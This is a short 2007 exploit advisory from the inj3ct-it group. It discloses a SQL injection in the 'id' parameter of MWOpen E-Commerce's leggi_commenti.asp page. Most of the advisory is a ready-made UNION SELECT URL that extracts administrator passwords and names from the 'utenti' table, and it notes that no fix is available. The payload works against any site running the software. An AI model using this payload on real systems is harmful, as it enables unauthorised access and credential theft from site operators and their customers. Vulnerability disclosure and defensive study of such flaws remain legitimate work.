MWOpen E-Commerce leggi_commenti.asp Remote SQL Injection

2007-12-06 00:00:00

---------------------------------------------------------------
____ __________ __ ____ __
/_ | ____ |__\_____ \ _____/ |_ /_ |/ |_
| |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\
| | | \ | |/ \ \___| | /_____/ | || |
|___|___| /\__| /______ /\___ >__| |___||__|
\/\______| \/ \/
---------------------------------------------------------------

Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org

---------------------------------------------------------------

MWOpen E-Commerce All Versions "leggi_commenti.asp" SQL Injection

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------

PoC:

Nothing to say..

Corrupted Page:

leggi_commenti.asp

Corrupted Variabile:

?id=

Exploit:

http://[target]/[mwopen_path]/leggi_commenti.asp?id=9999+union+select+null,
null,password,nome,null,data,null+from+utenti+where+Admin=true

---------------------------------------------------------------

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.